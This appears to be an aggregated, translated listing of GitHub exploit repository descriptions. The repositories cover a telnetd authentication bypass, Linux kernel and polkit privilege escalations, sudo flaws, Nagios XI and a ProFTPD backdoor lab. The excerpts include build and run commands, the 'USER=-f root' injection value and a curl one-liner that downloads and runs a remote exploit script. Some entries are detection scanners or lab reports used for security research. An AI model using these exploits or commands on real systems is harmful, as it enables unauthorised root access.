CVE-2026-24061---telnetd

CVE-2026-24061 – telnetd 🔥 描述 CVE-2026-24061 是一个影响某些 telnetd 实现的关键漏洞，允许 绕过身份验证 并在 无需有效凭据 的情况下远程获取 root shell 。 本仓库提供了一个 概念验证（PoC） ，用于检测易受攻击的系统。 ⚠️ 影响 绕过身份验证 未授权的 root 访问 远程利用 系统完全沦陷 🎯 可能受影响的系统 路由器 / 调制解调器 IoT 设备 嵌入式固件 暴露 telnetd 的系统 过时或配置不当的环境 🛠 内容 快速 Python 脚本（原始 socket） 支持按 IP 列表扫描 无外部依赖 消息和注释为法...

tscan

Telnetd 认证绕过扫描器 CVE-2026-24061 一个基于 Python 的扫描器，用于检测和利用 GNU Inetutils telnetd 服务中的 CVE-2026-24061 漏洞。该工具可扫描 IP 地址或网络，查找存在认证绕过漏洞的 telnetd 服务，该漏洞可导致获取 root shell 访问权限。 ⚠️ 重要法律声明与免责声明 本软件仅用于教育和授权安全测试目的。 1. 教育目的 本应用程序的开发仅用于教育目的 ，以演示安全漏洞并协助进行授权的安全测试和研究。 2. 无担保 本软件按"原样"提供，不附带任何明示或暗示的担保...

CVE-2026-24061

CVE-2026-24061 — inetutils-telnetd 身份验证绕过 针对 GNU inetutils-telnetd 中身份验证绕过漏洞的概念验证利用程序。 概述 CVE-2026-24061 是一个影响 inetutils-telnetd 版本 1.9.3 至 2.7 的严重身份验证绕过漏洞。它允许远程攻击者在无需提供任何凭据的情况下，在易受攻击的系统上获取 root shell。 漏洞详情 字段| 值 ---|--- CVE ID| CVE-2026-24061 受影响软件| GNU inetutils-telnetd 受影响版本| 1.9.3 – 2.7 漏洞类型|...

CVE-2026-31431-rs

CVE-2026-31431 PoC（copyfail） 结构 src/ ├── main.rs 漏洞利用：AFALG + splice 覆盖 /bin/su └── bin/ └── payload.rs 载荷 自包含的 nostd 二进制文件，零运行时依赖： poc-rs：4.1 KB（载荷通过 includebytes! 嵌入） payload：1.7 KB 构建 需要 Rust 1.85+： cargo build --release --bin payload cargo build --release 用法 x8664：...

berdav-CVE-2021-4034

CVE-2021-4034 Un día para el exploit de escalada de privilegios de polkit Solo ejecuta make, ./cve-2021-4034 y disfruta de tu shell de root. El aviso original de los autores reales está aquí PoC Si el exploit funciona, obtendrás una shell de root inmediatamente:...

CVE-2021-4034-new

CVE-2021-4034 针对 polkit 权限提升漏洞的一日利用 只需执行 make、./cve-2021-4034，即可享受 root shell。 原作者发布的官方公告见此处。...

modrosnlr5

🧬 modrosnlr5 – Linux 内核 LPE PoC（CVE-2026-31431） 概念验证工具，旨在验证 Linux 系统中 CVE-2026-31431 漏洞的利用。 该漏洞利用内核的 AFALG 套接字接口注入载荷，从无权限的用户会话中获取具有 root 权限的 shell。 ⚖️ 道德与受控使用： 本代码仅用于研究、培训和授权审计目的。只能在拥有明确许可的环境中进行执行。 ✳️ 主要功能 权限预检： 自动分析 UID、GID 以及 sudo、wheel 和 root 组的成员资格。 AFALG 套接字工程： PoC 通过 os.splice 劫持 su...

CVE-2026-24061

CVE-2026-24061: telnetd 认证绕过漏洞 CVE-2026-24061 是 telnetd 中的一个认证绕过漏洞，攻击者可以通过特定的环境变量组合绕过身份验证，直接获取 root 权限的 shell。 telnetd 在处理认证逻辑时存在缺陷，当通过 -a 选项（自动登录）配合特定的 USER 环境变量（如 -f root）时，可以绕过正常的身份验证流程，直接以 root 用户身份登录。 介绍 GNU InetUtils 是 GNU 项目下的一个基础网络工具集合。它包含了许多传统的网络客户端和守护进程，如 ftp、telnet、rsh、rlogin、tftp 等。...

ez-pwnkit

ez-pwnkit 一个纯 Go 实现的 CVE-2021-4034 PwnKit 漏洞利用程序。 该漏洞利用程序使用 syscall.ForkExec 来确保在主程序结束后仍能存活。 安装 git clone https://github.com/OXDBXKXO/ez-pwnkit.git cd ez-pwnkit make 由于该漏洞利用程序依赖于一个恶意的共享库，因此会从 payload.go 生成一个 PWN.so 文件，并将其嵌入到最终的 exploit 可执行文件中。 Makefile 使用 sed 临时将 payload.go 文件的包名改为 main，因此该...

CVE-2021-4034

CVE-2021-4034 polkit 权限提升漏洞利用的一天 只需执行 ./blasty 即可获得 root shell。 原作者的实际公告见 - 此处 安装 如果漏洞利用成功，您将立即获得 root shell： user@tecnokarita-/Descargas $ git clone https://github.com/T3cnokarita/CVE-2021-4034.git user@tecnokarita-/Descargas/CVE-2021-4034 $ gcc -o blasty blasty-vs-pkexec.c...

CVE-2026-24061

CVE-2026-24061 - Telnet 参数注入 用于检测 GNU inetutils telnetd 中 CVE-2026-24061 漏洞的 Nuclei 模板，该漏洞允许在无需认证的情况下获取 root 访问权限。 📋 漏洞描述 CVE-2026-24061 是 GNU inetutils telnetd 中的一个严重 参数注入 漏洞，允许攻击者在不知道密码的情况下获取 root shell。 它是如何工作的？ 1. 问题根源 ：2015 年，telnetd 中添加了一个带有动态参数 %U 的新登录模板： /usr/bin/login -p -h %h %?u-f %u%U...

CVE-2021-4034

Exploit CVE-2021-4034 Uso $ git clone https://github.com/Anonymous-Family/CVE-2021-4034.git $ cd CVE-2021-4034 $ make ! CVE-2021-4034 Exploit By whokilleddb ! Initializing Setup + Setup Done :D ! Setting Root Privileges ! Launching Root Shell /bin/whoami root Parche rápido chmod 0755 which pkexec...

CVE-2026-31431

Autor: 0xShe Idioma / 语言 English: https://github.com/0xShe/CVE-2026-31431/blob/main/README.md 中文: https://github.com/0xShe/CVE-2026-31431/blob/main/README-CN.md Guía de la herramienta de escalada de privilegios del kernel CVE-2026-31431 0x01 Inicio rápido Algunos entornos objetivo no tienen Pytho...

nagiosxi-root-rce-exploit

nagiosxi-root-exploit 概述 Nagios XI = 5.6.5 存在一个漏洞，允许攻击者利用 RCE 将权限提升至 root。 该漏洞利用需要以 'nagios' 用户身份访问服务器，或通过 Web 界面获得 CCM 访问权限并具备管理插件的权限。 详细信息 通过下载系统配置文件（profile.php?cmd=download）所调用的 getprofile.sh 脚本，会借助免密码的 sudo 条目以 root 身份执行；该脚本会执行属于 nagios 用户的 'checkplugin' 可执行文件。 登录 Nagios XI 且具备修改插件权限的用户，或服务器...

poc-cve-2021-4034

poc-cve-2021-4034 CVE-2021-4034 的 PoC，被称为 pwnkit 如何使用 只需运行 make make，然后检查 release 文件夹；或者如果你更喜欢一行命令 sh -c "$curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh" 享受 dzonerzy@DESKTOP-5JHC90H:/mnt/c/Users/DZONERZY/GolangProjects/pkpwn$ ./exploit Spawning root...

CVE-2026-24061

CVE-2026-24061 GNU Inetutils telnetd 远程认证绕过 说真的，2026 年还在用 telnet？拜托各位，是时候向前看了。SSH 从 1995 年就有了。 🤦 描述 GNU Inetutils telnetd 中存在一个严重的认证绕过漏洞，影响 1.9.3 至 2.7 版本。 该漏洞利用 NEW-ENVIRON telnet 选项向 login1 注入恶意参数。攻击者通过 telnet 协议设置 USER=-f root，即可绕过认证并在无需凭据的情况下获得 root shell。 受影响版本 GNU Inetutils 1.9.3 - 2.7 技术细节...

CVE-2024-22274-RCE

CVE-2024-22274 エクスプロイト このリポジトリには、CVE-2024-22274 のエクスプロイトが含まれています。このエクスプロイトは、SSH 経由でリモートマシンに新しいユーザーを作成し、その後 root シェルを提供します。 要件 マシンに Go Golang がインストールされていること。ダウンロードは こちら から行えます。 SSH アクセスが可能なリモートマシン。 コンパイル 1. リポジトリをクローンします: git clone https://github.com/Mustafa1986/CVE-2024-22274-RCE.git cd...

CVE-2025-32463

📌 CVE-2025-32463 — Sudo --chroot ローカル権限昇格 ExploitDB ID: 52352 🧠 概要 このリポジトリは、Sudo 1.9.14 – 1.9.17 のバージョンに影響する深刻なローカル権限昇格 LPE 脆弱性を文書化しています。 この脆弱性は、sudo -R --chroot オプションの誤った実装に起因し、sudoers ファイルで許可されていなくても 、攻撃者がroot 権限でコマンドを実行 することを可能にします。 🔥 結果: 権限のないユーザー → root シェル 🧩 影響を受けるコンポーネント ソフトウェア: sudo...

Offensive-lab-2

攻撃的セキュリティラボ : ProFTPD 1.3.3c バックドアエクスプロイト Root フラグ 1. はじめにと目的 本レポートは、脆弱な Linux 仮想マシン VM に対して実施したペネトレーションテストの詳細を記述し、即座に root アクセスを可能にした高リスクのサービス脆弱性の特定に焦点を当てています。 詳細| 値 ---|--- ターゲットIPアドレス| 192.168.222.130 攻撃元IPアドレス LHOST| 192.168.222.128 ターゲットOS| Ubuntu 4ubuntu2.2 Linux Kernel 3.x 目的| Root...

CVE-2023-22809

CVE-2023-22809 参照: https://vulners.com/cve/CVE-2023-22809 エクスプロイトタイトル: sudo 1.8.0 - 1.9.12p1 - 特権昇格 エクスプロイト作者: n3m1.sys CVE: CVE-2023-22809 日付: 2023/01/21 ベンダーホームページ: https://www.sudo.ws/ ソフトウェアリンク: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz バージョン: 1.8.0 to 1.9.12p1 テスト環境: Ubuntu Server 22.04 ...